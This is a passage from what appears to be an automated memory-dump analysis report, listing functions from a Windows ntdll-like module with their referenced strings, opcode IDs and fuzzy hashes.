Function 012C7E41, Relevance: 3.9, Strings: 3, Instructions: 174COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrmap.c, xrefs: 013198A2
Could not validate the crypto signature for DLL %wZ, xrefs: 01319891
LdrpCompleteMapModule, xrefs: 01319898

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 81a965aa3145ff4ed22e4f342383df56363d244b0d03e698a3ece9a4917d72e1
Instruction ID: dbe7d49ba79230cce9430861d6d6c93f008c15826f271ba3cc7f7c1fbcceb4c2
Opcode Fuzzy Hash: 81a965aa3145ff4ed22e4f342383df56363d244b0d03e698a3ece9a4917d72e1
Instruction Fuzzy Hash: 60510232620746DBEB26CB6DC994B2A7BE4AF01B18F040699EB519B7D1D774ED00CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013623E3, Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0136255C
Heap block at %p modified at %p past requested size of %Ix, xrefs: 0136256F
HEAP[%wZ]: , xrefs: 0136254F

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 2e22592c7697f419ed1b1be5e8e0eed11fbce336a019cc8491e62b2f93f605dc
Instruction ID: f6fc5ec832aad141bec68c1d52c52d8083dc05e69ff285dbd48a459d8e4b9464
Opcode Fuzzy Hash: 2e22592c7697f419ed1b1be5e8e0eed11fbce336a019cc8491e62b2f93f605dc
Instruction Fuzzy Hash: FD5114341102548AE336CE1EC844773BBFDDB44748F56C859E9C29B689D639D842DB20

Uniqueness

Uniqueness Score: -1.00%

Function 012BE620, Relevance: 3.9, Strings: 3, Instructions: 165COMMON

Download Yara Rule

Strings

InstallLanguageFallback, xrefs: 012BE6DB
@, xrefs: 012BE6C0
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 012BE68C

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 8d735b10e7de41b9b1dbc974cdc9985346aa7455ba1806d6fd4d29be1e126bc7
Instruction ID: 1668c39ebf7b90d07328cedc2a3aa525c3f184308096ded9e69a2f7406b439cf
Opcode Fuzzy Hash: 8d735b10e7de41b9b1dbc974cdc9985346aa7455ba1806d6fd4d29be1e126bc7
Instruction Fuzzy Hash: A85108725143469BD718DF68C480ABBB3E8BF89758F05092EFA85E7200FB34D944C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 012DEB9A, Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 013242AF
RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex)), xrefs: 013242BA
HEAP[%wZ]: , xrefs: 013242A2

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpGetBitState(LookupTable, (ULONG)(LookupIndex - LookupTable->BaseIndex))
API String ID: 0-1596344177
Opcode ID: 1ec98252b56fe9260a7dbd051d2f58285ba54b802dff6fb9422d39b92d44f6fb
Instruction ID: a9fdec7324c78c186a9cfd6942eb20435b115ecc53039e53ce987bd2e60d72b7
Opcode Fuzzy Hash: 1ec98252b56fe9260a7dbd051d2f58285ba54b802dff6fb9422d39b92d44f6fb
Instruction Fuzzy Hash: 7251DD31A20626EFCB18DF59C484B7ABBB5FF85314F1681A8D9099F342D771AC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012DB8E4, Relevance: 3.8, Strings: 3, Instructions: 69COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 01322C7F
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 01322C8A
HEAP[%wZ]: , xrefs: 01322C72

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 12f6ba21fbdbe15731711badc7b685faad96366bd4f590830bd0caf4ab061124
Instruction ID: 582cae5ef68fe473cdb0c1f776d3ada325680b67450897dd6e7a14b623b42ab1
Opcode Fuzzy Hash: 12f6ba21fbdbe15731711badc7b685faad96366bd4f590830bd0caf4ab061124
Instruction Fuzzy Hash: 3E1157313341528FDB29DB19C4A5FBAB7A9EF91B64F16802DE14ACB381DB74D840CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0137E539, Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

`, xrefs: 0137E670
`, xrefs: 0137E5D7

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: eec0b6f87c87f6c498aaec1cb728f3ffa8a9486e0634ae04f0e7a396c9f456dd
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: 7E9181712043469FE734CE29C941B2BBBE5AF84728F18897DF695CB280E778E904CB51

Uniqueness

Uniqueness Score: -1.00%

Function 013351BE, Relevance: 2.7, Strings: 2, Instructions: 173COMMON

Download Yara Rule

Strings

Legacy, xrefs: 01335226
UEFI, xrefs: 0133521D

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 293a9fbe8a70fe48d383469f0c622b8c0494caf6713539d1bfc8bbfed19a0a04
Instruction ID: adc91ad71e5d87a493548a39eba2afc8db9987bb1474794706fd0272b83f2120
Opcode Fuzzy Hash: 293a9fbe8a70fe48d383469f0c622b8c0494caf6713539d1bfc8bbfed19a0a04
Instruction Fuzzy Hash: 53517EB1E106099FDB25DFA8C890BADBBF8FF88714F14402DE649EB251D7719900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 012BB171, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

APIs

_vswprintf_s.LIBCMT ref: 013148AD

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: dd21813ff17e99ce003ca1c60f4bb514b6504b82d23f12da520679b22fe99854
Instruction ID: 7ccde790c87d5fbf49322c9fa22c7357c3de8d0d5fbf56f0a87b0f8d3e9c554f
Opcode Fuzzy Hash: dd21813ff17e99ce003ca1c60f4bb514b6504b82d23f12da520679b22fe99854
Instruction Fuzzy Hash: FD51E071D1025A8EEB39CF68C844BBEBFB1BF04718F2041ADD959AB286D7714941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012DB944, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012DB9A5

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 09f4d1beff110f1e513d0c30f3ca3d02fb8ebdfe5f47b594faf50a2cb44d30b0
Instruction ID: eec03dacb24bdece5b3a7f06204c508e86f67acfe2e4bc09e840dc295780c80c
Opcode Fuzzy Hash: 09f4d1beff110f1e513d0c30f3ca3d02fb8ebdfe5f47b594faf50a2cb44d30b0
Instruction Fuzzy Hash: B5517971A28342CFC720DF28C09092BBBE5FB89614F55496EFA8587355E770E840CB82

Uniqueness

Uniqueness Score: -1.00%

Function 012E2581, Relevance: 1.6, Strings: 1, Instructions: 329COMMON

Download Yara Rule

Strings

PATH, xrefs: 012E2642, 012E2691

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: ee7d9a87e885916affb82ac230322ed3ca538a458fc7538a694e265cb1a4a425
Instruction ID: f6c81e6262a933949f3c4250d8b2d334eeba5704e05e0cf477960ce6f1dc7df3
Opcode Fuzzy Hash: ee7d9a87e885916affb82ac230322ed3ca538a458fc7538a694e265cb1a4a425
Instruction Fuzzy Hash: 82C19F71D6021ADFDB29DF98D885ABDBBF9FF48700F884029E502BB250D774A941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 012EFAB0, Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 0132BE0F

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 2782fbde9382dd3ba6c2adf60335cf6f603404d72ac23796474a1081d3ec8ed0
Instruction ID: 3298f8111b0ac182522adbb25e7e7ea68b73e189a53eb276aac4ad845e46747a
Opcode Fuzzy Hash: 2782fbde9382dd3ba6c2adf60335cf6f603404d72ac23796474a1081d3ec8ed0
Instruction Fuzzy Hash: 57A14571B20656CBEB21DF68C558BBAB7E4AF48714F54456DEA06CB280EB30D801CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012B2D8A, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 0130FA4A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 4f06b5a3f3c4c136d185218d135e7d50f5f9732241510ee67a1cb1d8655133d2
Instruction ID: 109b04e42043cfad5225665b4936c694fb2eabf44f47c72fe4952d0121d0dd01
Opcode Fuzzy Hash: 4f06b5a3f3c4c136d185218d135e7d50f5f9732241510ee67a1cb1d8655133d2
Instruction Fuzzy Hash: 07610431A10706DFEB33DB6CC894BBE7BE8EB45758F140669E611972C1C774B9818B81

Uniqueness

Uniqueness Score: -1.00%

Function 012B52A5, Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

`,, xrefs: 012B52C4, 01310E70, 01310EE0

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: `,
API String ID: 0-3251075597
Opcode ID: 59b426dbc233dd4d9785f3a67dc087c976eab2ac79d361b7997f47e817f08363
Instruction ID: eef5b309bd19eafaf87f5a56b6694f8ba1d713bdc0f71eeb11e2d4381fcbb982
Opcode Fuzzy Hash: 59b426dbc233dd4d9785f3a67dc087c976eab2ac79d361b7997f47e817f08363
Instruction Fuzzy Hash: D6512130125742AFD725DF28C881B67BBE4FF50718F10091EF69587651E770E844CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01380EA5, Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

`, xrefs: 01380F16

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 57ae7b60ae23352fbcbeeb9ec5dca2b1b5e314819a356a9239b6dc57323713f4
Instruction ID: b674d892fa4a90f707c8f742bdbda2a72fa612fd460408bcee3ccff88d905618
Opcode Fuzzy Hash: 57ae7b60ae23352fbcbeeb9ec5dca2b1b5e314819a356a9239b6dc57323713f4
Instruction Fuzzy Hash: 7B5182B13043429FD725EF28D884B1BBBE9EBC4718F04492CF55697291D775E80AC761

Uniqueness

Uniqueness Score: -1.00%

Function 012EF0BF, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 012EF124

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 20ed7734146b956d24a07eca4851ed11de3dbf151aa7044ddc282e7a6983701a
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 80516872514711AFD320DF29C841A6BBBF8FF58714F00892EFA9587690E7B4E944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01333540, Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 0133358F

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 63215f9e8f37a3554ed51fc50bd031e08b0b3767ffe2a01fa7d49ea61af66b17
Instruction ID: 78434e49bf5ee9eb54c4fa676e8d9473f0be9072383dc6982f3a926c5dcfcc18
Opcode Fuzzy Hash: 63215f9e8f37a3554ed51fc50bd031e08b0b3767ffe2a01fa7d49ea61af66b17
Instruction Fuzzy Hash: 694124B291052D9FDF219A54CC84FEEB77CAB54718F0085A5E709AB240DB309E888F98

Uniqueness

Uniqueness Score: -1.00%

Function 013805AC, Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

`, xrefs: 01380633

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 563baad97dbfeed2a72fe587ffb1ca106ad62b88d3805e93a41733f5974c873c
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: C231E6326047466BE724EF28CD45F9B7BD9EBC476CF184129FA54AB280D770E908C791

Uniqueness

Uniqueness Score: -1.00%

Function 01333884, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 013338B4

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 4b3455764d72311a4dbba5d0ab3d400c83c827d5300db532ad65e2c78026072a
Instruction ID: edfe6a6713b29e15715d026083f4ceae4cd9a598c584d8d61da432f045852413
Opcode Fuzzy Hash: 4b3455764d72311a4dbba5d0ab3d400c83c827d5300db532ad65e2c78026072a
Instruction Fuzzy Hash: C731D43290151AEFEB15DA58C945E7BFB74FF80724F018169EA15AB250D6309E44C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 012ED294, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 012ED303

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6930a4ca070a95164605044b2721e88077f51b03a34ec4e75e83bbce1e4329e1
Instruction ID: 09cc68ced16dffc8938a1a60394d205b4a49cd966689cd210f764363a1042c0e
Opcode Fuzzy Hash: 6930a4ca070a95164605044b2721e88077f51b03a34ec4e75e83bbce1e4329e1
Instruction Fuzzy Hash: 7E31E2B556830A9FC321DF68C985A6BFBE8EB85654F80092EFA9583250D634DD04CF92

Uniqueness

Uniqueness Score: -1.00%

Function 012C1B8F, Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 012C1BC5

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 1629adae83b566dfdeaa50d4cda5c91e30bd38f2eeaf63f556d79902d23c48eb
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: F5213A7B621219EBDB26DA59C841FABBBACEF41E50F054529FF048B201D630DE11C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 012DF716, Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 012DF73F

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 7ab50d66932572bd47a3dc323e66335ed53b2ca713671d39c68b6ca0f92d1237
Instruction ID: 9434512903f78fb83d3d29e882c0abf5dff0d07bc8f77df4d0cc6f2d43f0c9b8
Opcode Fuzzy Hash: 7ab50d66932572bd47a3dc323e66335ed53b2ca713671d39c68b6ca0f92d1237
Instruction Fuzzy Hash: C711D0343387438BFB2D4E1CCB917B67695AB85224F27452AE667CB391DAB0C843C348

Uniqueness

Uniqueness Score: -1.00%

Function 01368DF1, Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Critical error detected %lx, xrefs: 01368E21

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 6987b544a14b1aaf4532fa79af8a302035a0bde3d2ad683c9b1ca45c454bfebd
Instruction ID: 8766c4c591b9bba736de9fcd21e400781dc0dac24cf37fa53d00f492327ecf8b
Opcode Fuzzy Hash: 6987b544a14b1aaf4532fa79af8a302035a0bde3d2ad683c9b1ca45c454bfebd
Instruction Fuzzy Hash: CE113975D15348DBDF29CFE8891579CBBF4AB18318F20825DE5296B282C3340601CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0134FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0134FF60

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 8aa28132bf16b69c50fe51357a55aa876b4b35a720036d0e0df3926eb9ecc821
Instruction ID: fce5e11e39c978ac9aad0a3a4aadf9659f27321d38de635e06092b2d13215d6b
Opcode Fuzzy Hash: 8aa28132bf16b69c50fe51357a55aa876b4b35a720036d0e0df3926eb9ecc821
Instruction Fuzzy Hash: CC11D275950544EFDF26DF98C948F98BBF5FF08708F588054F1086B6A1C739A948CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01385BA5, Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d3d81ed768dd6b29e72e9babf097f2fd7f92434ff208c47d054fbba4c1fdb7
Instruction ID: ced78d408b596ae1e69cb52561b7cd614fdd018179187c711a3a9f9b43366a0b
Opcode Fuzzy Hash: 94d3d81ed768dd6b29e72e9babf097f2fd7f92434ff208c47d054fbba4c1fdb7
Instruction Fuzzy Hash: 0A425BB1910329CFDB24DF68C881BA9BBB1FF49308F1481AAD94DEB252D7749985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 012D4120, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f85bbb9cfe39d54c9e9c72f6addefcd897f75c3fb8b1a5292ad42a432437b81
Instruction ID: 70db4a5c86e1a9ba39efab60774bc860bda8486d84a105911e6201e6f1f01a59
Opcode Fuzzy Hash: 4f85bbb9cfe39d54c9e9c72f6addefcd897f75c3fb8b1a5292ad42a432437b81
Instruction Fuzzy Hash: FEF1B1706283928FC729EF18C484A7AB7E1FF98718F54492EF986C7650E735D881CB52

Uniqueness

Uniqueness Score: -1.00%

Function 012E20A0, Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d699b693991dbff1e236967c5c69d5ded79047cb10420aaaafb3aec5a2cf726a
Instruction ID: 5558c50b445751cbb5fc8c6b534ca079c0fbcf9f5745fba1cfe9a22a0f611eed
Opcode Fuzzy Hash: d699b693991dbff1e236967c5c69d5ded79047cb10420aaaafb3aec5a2cf726a
Instruction Fuzzy Hash: 49F15A31628352CFE726DF2CC44476A7BE9BF85328F48851DEA968B281D774D940CB82

Uniqueness

Uniqueness Score: -1.00%

Function 012CD5E0, Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdb20d3111327e45ed1547ae6bccbbe6bcfa1104a0da2aa00fa36bbcd0b936b
Instruction ID: 82c81a0f9468da77b2d8251de126e196d36e98bf7f00bc4ae0862f3a6c93a0dd
Opcode Fuzzy Hash: ccdb20d3111327e45ed1547ae6bccbbe6bcfa1104a0da2aa00fa36bbcd0b936b
Instruction Fuzzy Hash: 9CE1F330A1035ACFEB38DF68C880B79B7B5BF45708F0442ADDB09A7295D774A985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012DB236, Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction ID: ce5394532d74a2a439a12f455eabf5f4ae96bc5c4c007b2551ccfd88490372d0
Opcode Fuzzy Hash: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction Fuzzy Hash: 60B1F031B2461A9FDB15DBA9C8A0B7FBBF9EF49204F154169E642D7381DB70D900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012C849B, Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053284d47d644e0daeb3983c37c5ad77a447baf70a2b8b6d6102782ba40231ec
Instruction ID: 87eca738307911acf58949843a4f70de52e113aba3ad8574281a2f438070d39b
Opcode Fuzzy Hash: 053284d47d644e0daeb3983c37c5ad77a447baf70a2b8b6d6102782ba40231ec
Instruction Fuzzy Hash: DCB171B4E2020ADFDB29DF99C984AADFBB5FF44708F10822DE605AB345D770A845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 012E513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a91a9f1a85507f28b1972845413ec8142191c6a5c4948b01f6edd99b87fa31d
Instruction ID: e1b142f437b04e66f0a2d189f8774cfd2cfb322d180ee958b299580da4bd70e7
Opcode Fuzzy Hash: 4a91a9f1a85507f28b1972845413ec8142191c6a5c4948b01f6edd99b87fa31d
Instruction Fuzzy Hash: 18C133B55183818FD354CF28C581A6AFBF1BF88308F584A6EF9998B352D771E845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 012E03E2, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c274fef587830679b258d245984a80581af79e21bf86e444cf3cfd829b94622
Instruction ID: 834a5c5cbb046fb07378d912362d7db61c15a688565b400eb1911e184725e7ee
Opcode Fuzzy Hash: 8c274fef587830679b258d245984a80581af79e21bf86e444cf3cfd829b94622
Instruction Fuzzy Hash: 22912631F10226AFEB31AB6CD848BBDBBE4EB01718F450265FA11AB2D1D7B49C41C785

Uniqueness

Uniqueness Score: -1.00%

Function 012BC600, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40aa5c896912682ff328419c148f8779ebba6fac3dbedcda5ac576aa30405245
Instruction ID: e992f5a4169e897ec27dab98e00bd4b45fa8538def522c209417152c908b8c3e
Opcode Fuzzy Hash: 40aa5c896912682ff328419c148f8779ebba6fac3dbedcda5ac576aa30405245
Instruction Fuzzy Hash: C48171756142158BDB26EE58C880F7BB7A8FBA4358F14486EEE459B341D330ED41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 012E138B, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction ID: 987824bf5977e03ecaad0640bbed50b7d0629edd89e46ffe231c6d7b73c3dae3
Opcode Fuzzy Hash: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction Fuzzy Hash: 10818871A10246EFCB24DF68C445AEABBF5EF48304F24856AE996C7741D330EA51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0134B8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc81be5a49264cd8777f929cb1c414eb37259d2a0c0dc1627c35b0d28116868a
Instruction ID: 86653bfb2e01ee2d2b95b157630715430a56e352860a97a4eaef70ea282c0e89
Opcode Fuzzy Hash: dc81be5a49264cd8777f929cb1c414eb37259d2a0c0dc1627c35b0d28116868a
Instruction Fuzzy Hash: 0171F032200706AFEB32DF28C844F66FBE9EB44728F154928E655876A4DB75F944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01336DC9, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 0d38ea41ded693eb71bb0ce40c9e31b0ebb8190ee67ec9d248df219843160e98
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: EC718FB1A00209EFDB11DFA9C984AEEFBB9FF88714F104169E505E7250DB34EA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 012E2AE4, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d50a040ae81c0a2861b9c23173b3343aed319043a9df1c079dd6e165a003ba1
Instruction ID: c9ca3590a077c34ecc560769768a5f3375e3f4b8742545526d824dc5d4a799ce
Opcode Fuzzy Hash: 1d50a040ae81c0a2861b9c23173b3343aed319043a9df1c079dd6e165a003ba1
Instruction Fuzzy Hash: 1451B376A20125CFCB14CF1CC895ABDB7F9FB88700B59845EE847AB355E730AA51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012E3C3E, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
